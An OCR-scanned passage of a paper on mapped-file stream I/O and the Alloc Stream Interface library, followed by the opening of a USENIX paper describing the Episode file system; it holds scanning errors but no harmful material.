can be applied to non-sequential accesses. Also, it allows the advantages of asynchronous reading [BJ91],
without requiring a special mechanism to inform the application that the requested data is available. If the
application attempts to access the data before it is available, a page fault will occur that allows the operating
system to defer the access until the data is available.

Although support for mapped files is becoming a common feature of many operating systems, few ap­
plications have yet been written to use it. The most important reason for this is that mapped files cannot
provide a uniform interface for all I/O. With Unix I/O or Stdio, applications can use the same operations
whether the I/O is directed to a file, terminal or network connection. Mapped file I/O can only be used for
I/O directed to a device which can be used to handle page faults, that is, a random access block oriented
I/O devices such 88 a disk. In the next section, we introduce an approach, called MSIO, for supporting a
uniform I/O interface while exploiting some of the performance advantages of mapped file I/O.

3 Mapped Stream I/O

Mapped Stream I/O (MSIO) is an approach for supporting stream I/O interfaces such as emulated Unix
I/O or Stdio with a user level run-time library that exploits the advantages of mapped files. With MSIO a
portion of the file being accessed is mapped into the application address space. Read operations are handled
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by copying data from the mapped region to the buffer specified by the application. Similarly, for write
operations, data is copied from the application buffer to the mapped region. The library keeps track of
the current position in the file, modifying it every time the application performs a read, write or seek
operation. When the region is exhausted, it is freed and a new region (usually the one directly following it)
is mapped in.

In many ways, a stream I/O library based on mapped files is similar to the I/O libraries that buffer
blocks, such as Stdio. For example, for reading, Stdio reads a block of data from the file and then services
application reads from this block. However, in practice, supporting a stream interface using mapped files is
substantially easier. First, the same code can be used for allocating a region for either reading or writing;
with Stdio, the buffers for reading and writing have to be managed in different ways. Second, when a file is
open for both read and write access, the same region can be used for both modes, making it much simpler for
a stream to change modes (e.g. when doing a read after a write). In contrast, many implementations of Stdio
require the application to perform explicit seek operations when changing modes [KV91].5 Finally, since the
file offset is maintained by the library, seek operations can be supported without any communication to the
file system.

It is possible to use a hybrid approach, where mapped files are used when the resulting performance is
expected to be high and Unix I/O is used otherwise. For example, the Sfio library uses mapped files for
reading only. The MSIO library described in Section 5 can be configured in three different ways, namely: (1)
to use mapped files for all file I/O, (2) to use mapped files for modifying data before the end-of-file (EOF),
and write operations for modifying data past the EOF, and (3) to use Unix I/O for all file operations.

There may be reasons other than performance for not using mapped files for all file I/O. For example,
with mapped files, some operating systems ignore modifications to a file block past EOF. Therefore, to ensure
that the data will not be lost, the application must first change EOF6 before adding the new data. The
disadvantage of this approach is that the EOF changes before the new data becomes available, which means
that other programs cannot use EOF to determine how much valid data is contained in the file. In contrast,
with Unix I/O, the application prepares the data for a write operation in a private buffer. When the write
operation is performed, the file system copies the data from the private buffer to the system buffers and then
(if necessary) updates the EOF.

The file system of the Hurricane operating system allows mapped files to be modified without forcing
EOF to be extended. Applications explicitly set EOF when a modification is complete.7 This approach has
the advantage Unix I/O has in that data remains private to the application performing the write, while not
having the disadvantage that data must be copied from a private buffer. This makes it possible to configure
the MSIO library on Hurricane to use mapped files for all file I/O. On SunOS and IRIX, the MSIO library
is configured to use write operations whenever the file size must be extended.

4 The Alloc Stream Interface

In the course of developing a new user level I/O library to support the emulated Unix I/O and Stdio interfaces,
we observed that a large proportion of the library time was being spent copying data between the library
and application buffers. This motivated the design of a new interface called the Alloc Stream Interface, with
the following goals:

1. Applications must be able to use the same interface for all I/O whether to files or stream devices such
as terminals.

2. For performance, the interface should allow the application access to the internal buffers (mapped
regions) of the library, rather than forcing the library to always copy data between the library and
application buffers.

5 As another example, with every implementation of Stdio with which we have experimented, the library does not properly
handle interspersed gete and pute operations, while correct behaviour can be trivially supported using mapped files.

sThis' can be accomplished by doing a ftruneate to the new file size, or a lseak and then a vrita operation. IRIX supports
an optional Bag to mmap that causes the file to grow every time a page past the current EOF is modified.

7When all open references to a file are complete, the file system garbage collects any blocks that have been written to disk
past EOF.
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3. The interface should allow for implementations that can exploit mapped files.

4. Multi-threaded applications should be supported. This implies that the interface semantics must be
clearly defined in the case where multiple threads are accessing the same stream, and it implies that
the amount of time a stream needs to be locked should be minimized.

5. The interface should be easy to use, and preferably be similar to an interface programmers are already
familiar with.

6. Because of the wide acceptance of current I/O interfaces, and in order to gain acceptance, the interface
must in some way be compatible the other interfaces being used, such as Stdio.

4.1 The High Level ASI

The most important operations defined by AS] are:

FILE *sopen( char *path. int access_flags. int ereat_flags. int *re )
int selose( FILE *fl ) ;
void *salloe( FILE *fl. int *length ) ;
int sfree( FILE *fl. void *ptr ) ;
void *salloeAt( FILE *fl. int *length. int *offset. int whence) ;
void *srealloe( FILE *fl. void *start. int oldlen. int *newlength )

Sopen opens the file named by path and, if the open succeeds, returns a handle to be used to identify the
stream in subsequent accesses. The stream will always be in one of two modes, namely read mode or write
mode. If the stream is opened for read-only or read-write access, the mode of the stream defaults to read
mode; otherwise it defaults to write mode. (The mode of the stream can changed using the set-alloc_flags
macro.) Selose closes the named stream after unmapping any mapped files and flushing any buffered data.
The remaining operations are modeled after the Unix memory allocation interface (Le. malloe, realloe,
free).

AS] considers only files to be truly read-write streams. If a non-file stream, such as a terminal or a socket
stream is opened for read-write access then it is handled as if there are two independent streams (i.e. a read
and a write stream) addressed by the same handle. In other words, only with files will a write access change
what data a subsequent read access will obtain.

Reading from a Stream

Salloe is used together with sfree for accessing a stream. Salloe returns a.pointer to a region of memory
that contains the requested data, and advances the stream offset (Le. the offset in the stream for the next
access) by the specified length. Sfree tells the library that the application has finished accessing the data,
at which point the library can discard any state associated with it. The length parameter to salloe is a
value return parameter, initialized to the amount of requested data and modified on return to indicate the
amount of allocated data. In the case of an error, a NULL pointer is returned and the length parameter is
set to a negative error code.

The name salloe was chosen to indicate that data is allocated from a stream for use by a particular
thread. That is, the library considers data requested by a salloe operation private until a sfree operation
indicates that the thread has finished using the data. In no case will two salloc operations return pointers
to the same data. If two threads wish to concurrently access the same data, then the one that allocated the
data must pass the pointer to the other thread.

For a file in read mode, only data already in the file can be allocated. If an application attempts to
allocate past the EOF, a length of 0 will be returned. The application should never modify data obtained
from salloe in read mode. If the stream is not associated with a file, then the modifications will not be visible
on the other side of the stream (e.g. the screen of a terminal). If a file is opened read-only, modifications
could cause the program to segment fault.

Note that because salloe returns a pointer to the data, it can ensure that the alignment allows for
memory mapping optimizations.
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Writing to a Stream

In write mode, salloe returns a pointer to a region of memory where the data should be placed, and
advances the stream offset by the specified length. The application can then use this region as a private
buffer in which to place data to be written to the stream. Sfree tells the library that the application has
finished putting data in that region, at which point the library can write out the modified data. If the stream
is to a file, the length of the file is automatically extended on sfree if the allocated data is past EOF. For
a non-file stream, the order of writes are guaranteed to be in the same order as the corresponding salloe
operations even if the sfree operations occur in a different order.

Repositioning in a stream

SalloeAt can only be used for files. It causes the stream offset to move to a particular location in the file
and performs a salloe at that location. It is equivalent to a Stdio fseek followed by a salloe. For parallel
applications, the Stdio and Unix I/O stream interfaces have the disadvantage that if a thread performs a
seek operation in order to access data at a particular location in the file, it is possible for another thread to
(indirectly) modify the file offset before the first thread is able to access the data. To resolve this problem,
salloeAt causes the stream to be locked until the requested data has been allocated. The offset parameter
to salloeAt is a value return parameter, which on return indicates the position of the file offset in the file.

As stated earlier, when a thread allocates data from a stream, the library makes sure that no other thread
can allocate the same data. To ensure this, salloeAt blocks until all allocated regions are freed, if it causes
the file offset to move backwards in the file. While this handling of sallocAt is stricter than necessary, it
has the advantage that it reduces the amount of state that needs to be maintained for salloc and sfree. A
less restrictive policy would allow for more concurrency, but would reduce the performance for these common
operations.

Changing the amount of data allocated

If more data than necessary was allocated, it should be possible to return data so that it can be allocated
later (possibly by another thread). Also, since library buffers are a convenient location to prepare data for
writing, the application may want to salloe a large data space, and then shrink the region back to the
actual amount of data prepared.

Srealloe allows the application to shrink or grow a previously allocated region. In the case of the last
allocated region, srealloc will reposition the offset in the stream. For example, if salloc allocated bytes
1-200 of a file, and realloe shrinks the region to bytes 1-20, then the stream offset for the next access
will be moved to byte 21 of the file. Moreover, if the file size would change with the corresponding free
operation, then it changes according to the srealloe and not the original salloe operation. Using the
previous example, if the file size was originally 0 bytes, then the file size is set on sfree to be 20 bytes and
not 200 bytes.

Error Codes

All ASIoperations return full error codes, which always have a negative value. Sopen returns the error code
in rc, and salloc, sallocAt and srealloc return (negative) error codes in the length parameter. This is in
contrast to Unix I/O and Stdio that return the error code in the global variable errno, which is not suitable
for multi-threaded applications.

4.2 The Low Level ASI

The high level interface described above supports simultaneous access to a stream by multiple application
threads. Therefore, all operations require the stream to be locked when various critical data structures of
the library are being accessed. Also, the mode of the file (Le. read or write) always determines whether a
salloe operation is for reading or writing. There is a lower-level interface to ASI that includes less restrictive
operations for accessing a stream.
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unlocked operations: The operations u_salloc, u_sfree, u..srealloe and u..salloeAt have the same
parameters as the corresponding operations in the high level interface, but differ in that they do not
lock the stream. These operations are useful in two cases: 1) if the application is sequential and does
not want to incur the overhead of locking, 2) if in a parallel application a particular thread wishes to
acquire a lock for the stream while performing a number of operations to that stream. SLoek( stream )
and SUnloek( stream) operations can be used by the application to explicitly lock a stream when
the unlocked operations are being used.

mode variable operations: The (capitalized) Sal1oe, Sreal10e and Sa110eAt operations differ from the
corresponding (un-capitalized) high level operations in that the mode is specified on each call. For
example, in

void *Salloc( FILE *f1, int flags, int *length ) ;

the flags parameter can either be set to SA..READ or SA_WRITE to indicate whether the thread is allocating
for reading or for writing. This interface is useful if different threads are concurrently accessing the
same stream, some for reading and some for writing.

macro operations: With ASI, the actual amount of code executed to access a stream is very small in
the common case (Le. when the data to be allocated is already in a buffer or mapped region), so the
overhead of a procedure call is significant. Therefore, to minimize the cost for performance critical
portions of a program a set of fast macros that correspond to both the high and low level procedures
are provided. For example, f-Sa11oe, f.srealloe and f-Sal1oeAt, have the same parameters as the
Sal10c Sreal10c and Sa110eAt calls, but are implemented as macros.

5 The Mapped Stream I/O Library

The Mapped Stream I/O (MSIO) Library is an implementation of the ideas presented in this paper. It
supports: emulated Unix I/O, Stdio, and the Alloc Stream Interface (ASI). The emulated Unix I/O and
Stdio interfaces are supported by a layer of software above ASI. Implementations of the MSIO library exist
on the Hurricane, IRIX and SunOS operating systems.

In this section, we consider the data structures of the MSIO library and the way these structures are
used for typical stream accesses. As shown in Figure 2, there is one Client I/O State structure (CIOS)
associated with each stream and either one or two sorted lists of regions, where a region is either a portion
of the address space mapped to a file, or a buffer holding data associated with that stream. In the case of a
mapped file, there is only one region list used for both read and write accesses. Otherwise, if the stream is
open for read-write access, there are two region lists; one for read accesses and one for write accesses. The
CIOS structure contains the following important fields:

_buf points to the current region, the region that will be used for the next access to the stream,

ereg points to the region list element corresponding to the current region,

_bufsiz is the size of the current region,

_ptr points to the data to be used for servicing the next access to the stream,

_cnt indicates the number of bytes remaining to be allocated in the current region.

For each region in the region list, the MSIO library maintains the offset into the file, a reference count
for the number of outstanding references to the region (i.e. the number of salloes performed without a
corresponding sfree), and the length of the region. The current region always has a reference count of at
least one.
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Figure 2: Client I/O State

5.1 The Common Case

The most common ASI operations are salloc and sfree. In this section, we describe the algorithms used
for these operations assuming the region being accessed is the current region, which is the common case.

The algorithm for salloc is shown in Figure 3. On salloc, the library first locks the CIOS structure
to ensure that no other thread is currently accessing it. It then checks whether the operation is allowed on
that region and ascertains that the salloe can be satisfi'ed by the current regions. The _cnt is then reduced
by the size of the access and _ptr is increased accordingly, the refeount of the region is incremented by
salloc to indicate that the region is actively being accessed, the CIOS is unlocked, and the original version
of _ptr is returned. At this point, _ptr points to the next byte to be allocated from the stream.

For sfree, the library locks the CIOS, searches the region list to find the region that includes the data
being freed, and decrements the reference count of that region. If the reference count of the region is not
zero, sfree returns to the application. Otherwise, sfree deallocates the region as described below. In
the common case, the data being freed is in the current region, so the code can be optimized as shown in
Figure 3, since the refcount is guaranteed to always be greater than zero.

5.2 Mapped Files

When salloc can not be satisfied by the current region and the operation is to a mapped file, then the
MSIO library: 1) maps a new region that includes the requested data into its address space, 2) initializes a
new region structure to point to the region and inserts it into the region list, 3) initializes the _but, _butsiz,
_ptr, and _cnt variables, and finally 4) changes creg to point to the new region structure.

8That is, either the _cnt is greater than the amount of requested data, or the auloc is for writing and there is sufficient
room in the buffer.
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void *salloc( FILE *cios t int *length )
{

Exploiting the Advantages .••

acquire( cios->lock )
if( (mode of region and operation match) ii

(cios->_cnt >= *length) II
( (operation for write) ii (room in buffer) ) )

{

char *tmpptr = cios->_ptr
cios->_cnt -= *length ;
cios->_ptr += *length ;
cios->creg->refcount++ ;
releasee cios->lock ) ;
return tmpptr ;

}

add a new region and allocate the data from that
}

int sfree( FILE *cios t void *ptr )
{

acquire( cios->lock )
if( operation to creg )

{

cios->refcount-- ;
releasee cios->lock )
return OK ;

}

free region from region list
}

Figure 3: Code for salloc and sfree

When the reference count is zero, on a sfree, the library discards the mapped region. This entails
removing the region from the region list, unmapping the region and freeing the structures associated with it.
In the case where data has been modified, the library need not inform the operating system that the page
has been modified, since the memory manager will detect this on its own through the dirty bit associated
with the page.

As discussed in Section 3, data allocated past the end of file must be handled in a special manner. The
MSIO library can be configured to either handle writes past EOF as mapped files or by doing regular Unix
I/O write operations to extend the file. The latter case is described in the next section. For the former, the
MSIO library must interact with the file system to indicate that the file length has changed. Whether the
file length has increased is checked whenever creg is changed (for example, when a new current region is
mapped in). This can be determined from the information in the CIOS structure and region list element.9

If the file length has changed the new file length is recorded in the CIOS structure. Whenever a region is
discarded, the library informs the file system that the file length has changed to include this new region.

The library could also inform the file system that the file length has changed: 1) when sfree is called,
and 2) when the file is closed. The approach we chose is a compromise between reducing the number of
librarylOS interactions and making the data available to other applications as soon as possible.

9Special care must be taken when sa110cAt is called, however, this is beyond the scope of this discussion.
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int read{ int fd. char *buf. int length)
{

int rc
ptr =Salloc{ stream. ilength. SA_READ )
if{ length < 0 ) RETURI_ERR{ length)
bcopy( ptr. buf. length) ;
if( (rc =sfree( stream » < 0 )

RETURI_ERR{ rc )
return length

}

Figure 4: Read implemented using ASl

Krieger, Stumm, Unrau

5.3 Non-mapped I/O

If a non-mapped stream is being accessed for both read and write operations, the MSIO library maintains
a separate region list for reading and writing. If the mode of the current region does not correspond to the
mode of the operation, it is necessary to change the mode of the stream, and with it the region list being
used and the corresponding variables in the CIOS structure.

When salloc cannot be satisfied by the current region, the library: 1) allocates a new buffer that is
(at minimum) large enough to satisfy the request, 2) copies the portion of the data in the current region to
the new buffer and, 3) if the salloc is for a read, performs a read operation to the operating system for the
remainder of the data. After this point, the reference is handled in the same manner as if it was to a file.

As with mapped files, a region is not discarded until the reference count is zero. At this point, if the
buffers are for reading, they are discarded by removing the buffers from the region list, and by freeing both
the buffers and the associated structures. A write buffer cannot be discarded until all previous regions have
also been discarded. This is important to ensure the order of modifications according to the order of salloe
operations. When a region can be discarded, the data in that region and all subsequent regions with zero
reference counts are written out before discarding the regions.

5.4 Conversion between ASl t emulated Unix I/O and Stdio interfaces:

ASI is more general than the emulated Unix I/O or Stdio interfaces because ASI can be used to implement
both of the other interfaces with little or no overhead. In the MSIO library, emulated Unix I/O and Stdio
interfaces are supported by a layer of software above the ASI layer. A simplified version of the algorithm
used to implement an emulated Unix I/O read with (mode variable) ASI operations is shown in Figure 4.
Read first calls salloe to allocate the data from the stream, then copies the data from the allocated region
to the user specified buffer, frees the allocated region, and finally returns to the application the amount of
data read.

One major advantage of using ASI for implementing other interfaces is that the copying of data from
the library to the application is performed with the stream unlocked. This restricts the concurrency to a
particular stream far less than if the stream had to be locked for the entire read operation.

An application can freely intersperse calls to all three interfaces. To support this, the CIOS contains a
superset of the information used in the _iobuf structure of the Stdio library. This allows for source code
compatibility to programs that assume the structure used by Stdio. The stdio. h file that is included with
the library defines the _iobuf structure as a ClOS structure. Therefore, no conversion between a ASI stream
and a Stdio stream is necessary; that is, they are pointers to the same data structure type. The CIOS
structures are organized into an array, so that by indexing into the array emulated Unix I/O calls can refer
to the same stream. If a stream was created using an emulated Unix I/O call, the application can use ASI
commands on that stream after converting the file descriptor to a pointer to a CIOS structure using the
fileptr macro defined in stdio.h. Similarly, the application can convert the CIOS structure pointer to a
file descriptor using the fileno macro.

Although the current implementation does not support this, Stdio object code compatibility may be
important, for example, in the case that the operating system supports dynamically linked libraries. Since
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I command I Stdio/Unix I/O I msio lib, Stdio I msio lib, ASI I
cmp 0.90 0.60
wc 2.05 2.00
diff 1.40 0.90 0.55
compress 28.20 27.10 27.00
uncompress 8.45 8.35 7.50
cut 4.00 3.45 2.75

Table 2: Measurements, in seconds, on IRIX of a number of BSD4.3 Reno release system utilities.

the Stdio interface is fully supported, the only considerations are the data structures and macros provided
by Stdio. The macros defined by Stdio work with the subset of the CIOS that is compatible with the _iobuf,
therefore, the macros are not a problem. In order to be object code compatible, rather than having all
information in the CIOS in a single table, it would have to be split into a table of _iobuf structures, and a
parallel table that contained the remainder of the information in the CIOS structure.

Although the Stdio interface is fully supported by the MSIO library, the application writer should take
care in using Stdio operations that constrain buffering, for example, by calling setbuf. These operations
are typically used to increase the performance of I/O, but with the MSIO library, setbuf actually hurts
performance, since data must be copied to and from the specified buffer on each call to the Stdio interface.

6 Measurements of MSIO Library

The MSIO library was originally written for the Hurricane operating system, and is used on a daily basis
by users of that system. In order to allow MSIO to be compared to Unix I/O and other implementations of
Stdio, it was ported to SunOS and IRIX.

The measurements shown in Table 2 are in seconds of time as obtained by the Unix time program.
For utilities that use Stdio, there are three versions of the code: the original version (under the heading
Stdio/Unix I/O) linked to the IRIX version of the Stdio library, the original version linked to the MSIO
library, and the version modified to use ASI. The dataset used in these tests was either one or two 3 million
byte files.

The performance numbers for applications using the MSIO library on machines using IRIX or SunOS
does not match the results obtained on Hurricane, an operating system designed with mapped files in mind.
However, significant performance advantages have been demonstrated. In particular:

1. Stdio applications that are re-linked to use the MSIO library uniformly perform better. For example,
as can be seen in Table 2, diff takes 40% less time and cut takes 14% less time. Even compress and
uncompress, which are computationally intensive, show some improvement.

2. Stdio applications that are re-written to use ASI directly perform significantly better than the Stdio
version linked to the MSIO library. For example, diff improves by a further 40% (or close to 3 times
as fast as the original), and cut improves by a further 20%.

3. Applications that use the Unix I/O interface for reading also get significant performance advantages
when converted to ASI directly. For example, cmp is 35% faster .10

7 Conclusions

File I/O is increasingly becoming a performance bottleneck on many systems, prompting researchers to
address this problem through hardware and software techniques. In this paper we have explored software

lOVe is a special case, where even though the I/O time improved substantially certain compiler optimizations where not
possible with ASI, leading to perfonnance that was about the same for the Unix and ASI versions.
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based techniques that reduce the overhead of file I/O by, for example, reducing data copying and the number
of system calls as well as improving the use of memory. Our techniques exploit memory mapped files as
much as possible, leading to substantial performance gains as shown in Section 2. For a further reduction
in overhead, we found it necessary to define a new interface for I/O we call ASI. This new interface was
prompted not only by performance arguments, but by the inadequacy of Stdio and Unix I/O for multi­
threaded applications. ASI has the following advantages:

Generality: ASI is a byte-oriented stream interface, which allows an application to access an arbitrary
number of bytes without specifying a particular offset (e.g. location in a file). This type of an interface
can be uniformly used for all types of I/O.

High Performance: Since salloc returns a pointer to the library buffers, the library never has to copy
data between application and library buffers; instead the application just uses the buffers provided
by the library. Moreover, since the library chooses the address of the data, it can ensure that the
alignment allows for such optimizations as memory mapping.

Support for multi-threaded applications: In order to be re-entrant, an interface must have a well de­
fined behaviour when multiple threads are accessing the same stream. Allowing the application access
to the internal buffers of the library can have significant performance advantages. However, it is then
necessary for the application to inform the library when it has completed using allocated data, so that
the buffer can be re-used. With ASI, sfree is used for this purpose. In contrast, Sfio has no such
operation and their sfpeek operation (which corresponds to salloc) can therefore only be used by
single threaded applications (where any operation to the stream implicitly frees the data allocated by
a previous sfpeek).

Another way in which ASI supports multi-threaded applications is that it allows for a high degree
of concurrency in accesses to a particular stream. Since with ASI data is not copied to or from user
buffers, the stream is locked only while the library's internal data structures are being modified. Hence,
the stream is locked only for a short period of time, and, since access to data occur while the stream is
unlocked, multiple threads can page fault on different pages in the same mapped region and thus have
their I/O performed in parallel.

All operations defined by ASI return an error code. In contrast, most Stdio implementations return
error codes in a single errno variable that is used for all streams. This is not suitable for multi-threaded
applications.

Finally, with sallocAt, a thread can allocate data from a particular location in a file without in­
terference from other threads. With most implementations of re-entrant Stdio, the application must
explicitly lock the stream if it wants to read data from a particular location in a file.

Ease of use: ASI closely parallels the Unix memory allocation interface (Le. malloc, realloc, free) pro­
viding programmers with an interface they are already familiar with. Our experience indicates that
in most cases, it is just as easy to write an application using ASI as it is using the Unix I/O or Stdio
interfaces. In fact, for some applications ASI is easier to use, since buffer management and I/O are
combined into a single set of calls (Le. the application need not do a malloc and then a read or write).

We have implemented a library that supports the ASI interface, together with the emulated Unix I/O
and Stdio interfaces. The emulated Unix I/O and Stdio interfaces are implemented using ASI for all I/O,
proving the generality of the ASI interface. It is important to note that the performance advantages of ASI
can be exploited by re-writing just the I/O critical portions of a program; calls to all three interfaces can
be freely interspersed. We have ported the library to a number of platforms, including SunOS, IRIX and
Hurricane, and have shown (in Section 5.4) that the performance of applications is consistently better when
linked to our library rather then the original system library.

In future work, we intend to explore the effectiveness of ASI on systems with parallel disks, for which we
think ASI is particularly appropriate. Chervenak and Katz [CK91] found that the performance advantage
of parallel disks was severely limited by the overhead of data copying in memory. We believe that ASI
would allow for better exploitation of parallel disks (especially on multiprocessor systems) not only because
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ASI reduces data copying substantially, but also because of the higher degree of concurrency ASI naturally
allows.

Another project related to this work is a transaction management system that uses mapped file I/O for
accessing the data base. With this system, transaction servers communicate by accessing shared mapped
files, and synchronize using locks placed directly in data base files.
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Abstract

We describe the design of Episode,TM a highly portable POSIX-compliant file system. Episode is
designed to utilize the disk bandwidth efficiently, and to scale well with improvements in disk capacity and
speed. It utilizes logging of meta-data to obtain good performance, and to restart quickly after a crash.

Episode uses a layered architecture and a generalization of files called containers to implement filesets.
A fileset is a logical file system representing a connected subtree. Filesets are the unit of administration,
replication, and backup in Episode.

The system works well, both as a standalone file system and as a distributed file system integrated
with the OSF's Distributed Computing Environment (DCE)~ Episode will be shipped with the DCE as
the Local File System component, and is also exportable by NFS. As for performance, Episode meta-data
operations are significantly faster than typical UNIX Berkeley Fast File System implementations due to
Episode's use of logging, while normal I/O operations run near disk capacity.

Introduction

This paper describes the Episode™ file system, the local file system for the OSF Distributed Com­
puting Environment (DCE). Episode was intended as a file system for distributed file servers, and is designed
to be exported by various network file systems, especially the OSF DCE's Distributed File Service (DFS).

Episode separates the concepts of disk storage and logical file system structure, and provides a
number of features not found in most UNIX® file systems, such as those based on the Berkeley Fast File
System [MCK 84). In particular, Episode provides POSIX-style (Draft 11) access control lists, a useful
form of replication for slowly changing data, data representations that support storage files of size 232

fragments (at least 242 bytes), and logging techniques that reduce post-crash recovery time and improve
the performance of operations that update meta-data. This paper explains the overall architecture of the
file system.

Background

As part of the design process for AFS®4 (which became the Distributed File System component of
the DCE), the Episode design team looked at the AFS 3 [SAT 85) file system's file server. Two significant
features of AFS 3 were viewed as valuable to preserve for Episode: access control lists and AFS 3 volumes
- which were renamed filesets.

Access control lists are valuable in large distributed systems primarily because of the size of the

USENIX - Winter '92 43



The Episode File System Chutani, Anderson, Kazar, ...

user community in such systems. In such a large community, users require a flexible mechanism to specify
exactly who should be able to access their files. The more traditional UNIX protection mechanism of
grouping everyone into one of three categories is often insufficient to express flexible controls on data.
While AFS 3 provides ACLs only on directories, Episode provides ACLs on both files and directories,
thereby enabling POSIX 1003.6 compliance.

AFS 3 volumes support the separation of disk block storage from the concept of logical file system
structure, so that a single pool of disk blocks can provide storage to one, or thousands of separate file
system hierarchies [SID 86]. In Episode, each logical file system contains its own anode table, which is
roughly the equivalent of a Berkeley Fast File System's (BSD) inode table [MCK 84]. Various anodes within
a fileset describe its root directory, as well as subsidiary files and directories. Each fileset is independently
mountable, and - when a distributed file system is present - independently exportable. 1

The data representation of filesets facilitates their movement from one partition to another with
minimum disruption, even while they are exporting data in a distributed file system. All data within
a fileset can be located by simply iterating through the anode table, and processing each file in turn.
Furthermore, a file's low-level identifier, which is used by distributed file systems and stored in directories,
is represented by its index in the fileset's anode table. This identifier remains constant even after moving
a fileset to a different partition or machine.

The general model for resource reallocation in the Episode design is to keep many filesets on a
single partition. When a partition begins to fill up, becomes too busy, or develops transient I/O errors,
an administrator can move filesets transparently to another partition while allowing continuous access by
network and even local clients. Tools are provided to facilitate this move across multiple disks (or multiple
servers, using the OSF's DCE). Note that this model of resource reallocation requires the ability to put
more than one fileset on a single partitionj without this, the only resource reallocation operations available
are equivalent to the exchanging of file system contents between partitions, a move of limited utility.

Episode's implementation of fileset moving, as well as other administrative operations, depend upon
a mechanism called fileset cloning. A fileset clone is a fileset containing a snapshot of a normal fileset,
and sharing data with the original fileset using copy-on-write techniques. A cloned fileset is read-only,
and is always located on the same partition as the original read-write fileset. Clones can be created very
quickly, essentially without blocking access to the data being cloned. This feature is very important to the
administrative operations' implementation: the administrative tools use clones instead of the read-write
data for as much of their work as possible, greatly reducing the amount of time they require exclusive
access to the read-write data.

Episode's underlying disk block storage is provided by aggregates. Aggregates [KAZ 90] are simply
partitions augmented with certain operations, such as those to create, delete and enumerate filesets.

In a conventional BSD file system, one of the biggest practical constraints on how much disk space
a file server can hold is how long the disk check program Jsck [KOW 78] would run in the event of a crash.
Episode uses logging techniques appropriated from the database literature [HAE 83, HAG 87, CHA 88] to
guarantee that after a crash, the file system meta-data (directories, allocation bitmaps, indirect blocks and
anode tables) are consistent, generally eliminating the need for running "fsck."

This idea is not new. The IBM RS/6000's local file system, JFS [CBA 90], uses a combination of
operation logging for the allocation bitmap and new value-only logging for other meta-data. Hagmann
followed a similar approach in building a log-based version of the Cedar file system [HAG 87J. On the
RS/6000, JFS also uses hardware lock bits in the memory management hardware to determine which
records should be locked in memory mapped transactional storage. This technique was earlier supported
by the IBM RT/PC's memory mapping unit, although on that system it was not used for a commercially
available file system [CBA 88]. Veritas Corporation's VxFS [VER 91] apparently also uses new value-only
logging technology. Another system using logging technology is the Sprite LFS [ROS 90], in which all the

1In principle at least; at present, the DCE tools only allow the exporting of all of the filesets in a partition.
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data is stored in a log. LFS uses operation logging to handle directory updates, and new value-only logging
for other operations.

Data Architecture

The central conceptual object for storing data in Episode is a container. A container is an abstraction
built on top of the disk blocks available in an aggregate. It is a generalization of a file that provides read,
write, create and truncate operations on a sequence of bytes. Containers are described by anodes, 252 byte
structures analogous to BSD inodes [LEF 89], and are used to store all of the user data and meta-data in
the Episode file system.

Aggregate header (·su~rblock·Y-""
• ~ J\ggregate Fileset Table container

Aggregate FileS4it ~ ,//
TIlble anOde • 1---

~~
Bitmap anods- F=::;: Bitmap container

Log anode /'"~ :........ /

........9'S; ....
...... .. .... Log container

"".. " -,
" " 1

Riesel anodes D g...... :::::~ ~!___

D ~ 9ggg
•••

Figure 1: Bird's-eye view of an Episode Aggregate.

A bird's-eye view of an aggregate is provided in Figure 1. Each of the rectangular blocks in the figure
represents a file system block, and vertical columns of these blocks represent containers. Each Episode
aggregate has three specialized containers, the Bitmap container, the Log container, and the Aggregate
Fileset Table.
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The bitmap container stores two pieces of information about each fragment in the aggregate: whether
the fragment is allocated, and whether the fragment represents logged or unlogged data. This last distinc­
tion is necessary because certain buffer pool operations have to be performed when reusing a logged block
as an unlogged block, and vice versa.

The aggregate fileset table is organized as an array of anodes, one for each fileset in the aggregate. The
anode corresponding .to a particular fileset describes that fileset's anode table, which is roughly equivalent
to a file system's inode table in a BSD file system. An Episode fileset's anode table contains individual
anodes describing that fileset's directories, files, symbolic links and access control lists.

References to file system anodes generally come from two sources: names found in directories, and
file IDs arriving via network file systems. These references name an anode by its fileset ID and its index
within the fileset's anode table. Thus, a reference to a particular anode within a fileset starts by searching
the aggregate's fileset table for the desired fileset. Once found, the fileset's anode table container contains
an array of anodes, and the specified anode within the fileset is simply selected by its index. In typical
operation, all of these steps are significantly sped up by caching.

The log container provides the storage allocated for the aggregate's transaction log. All meta-data
updates are recorded in this log. The log is processed as a circular buffer of disk blocks, with the tail of
the log stored in memory and forced to disk only when necessary. The log is not actually constrained to
be on the same aggregate as the data that it is logging, but this restriction is currently imposed by our
initialization utilities.

Containers provide a uniform mechanism for data storage in Episode. All the disk data abstractions
in Episode, including the allocation bitmap, the transaction log, the fileset table, all of the individual filesets'
anode tables, and all directories and files are stored in containers. Because containers can ~ynamically

grow and shrink, all meta-data allocated to containers can, in principal, be dynamically resized. For
example, there is no need for a static allocation of anodes to an individual fileset, since a fileset's anode
table container can simply grow if a large number of files are created within that fileset. In addition, since
the container abstraction is maintained by one piece of code, the logic for allocating meta-data exists in
only one place.

Despite the potential for dynamic resizing all of the meta-data stored in containers, certain containers
do not, in the current implementation, change dynamically. The log container does not grow or shrink
under normal system operation, since the information that ensures that the log is always consistent would
have to be placed in the same log whose size is changing. The partition's allocation bitmap is created by
the Episode equivalent of "newfs," but does not change size afterwards. Finally, directories never shrink,
except when truncated as part of deletion.

As mentioned above, a fileset clone is a read-only snapshot of a read-write fileset, implemented using
copy-on-write techniques, and sharing data with the read-write fileset on a block-by-block basis. Episode
implements cloning by cloning each of the individual anodes stored in that fileset. When an anode is
initially cloned, both the original writable version of the anode and the cloned anode point to the same
data block(s), but the disk addresses in the original anode, both for direct blocks and indirect blocks,
are tagged as copy-on-write (COW), so that an update to the writable fileset does not affect the cloned
snapshot. When a copy-on-write block is modified, a new block is allocated and updated, and the COW
flag in the pointer to this new block is cleared. The formation of clones is illustrated in Figure 2.

Component Architecture

Episode has the layered architecture illustrated in Figure 3. The operating system independent layer
(not shown in the diagram), and the asynchronous I/O (async) layer comprise the portability layers of
the system. The operating system independent layer provides system-independent synchronization and
timing primitives. The async layer acts as a veneer over the device drivers, hiding small but significant
differences in the interfaces between various kernels. It also provides a simple event mechanism, whose
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Figure 2: A Container: After Cloning and Extending.

primary purpose is providing operations for awaiting I/O completion events.

Above these base layers is the log/buffer package. This package provides an abstraction very much
like the Unix buffer pool, buffering blocks from the disk and writing them as requested. This package also
mediates all buffer modifications so that they can be logged as required by the logging strategy employed
[BAE 83, MOH 89].

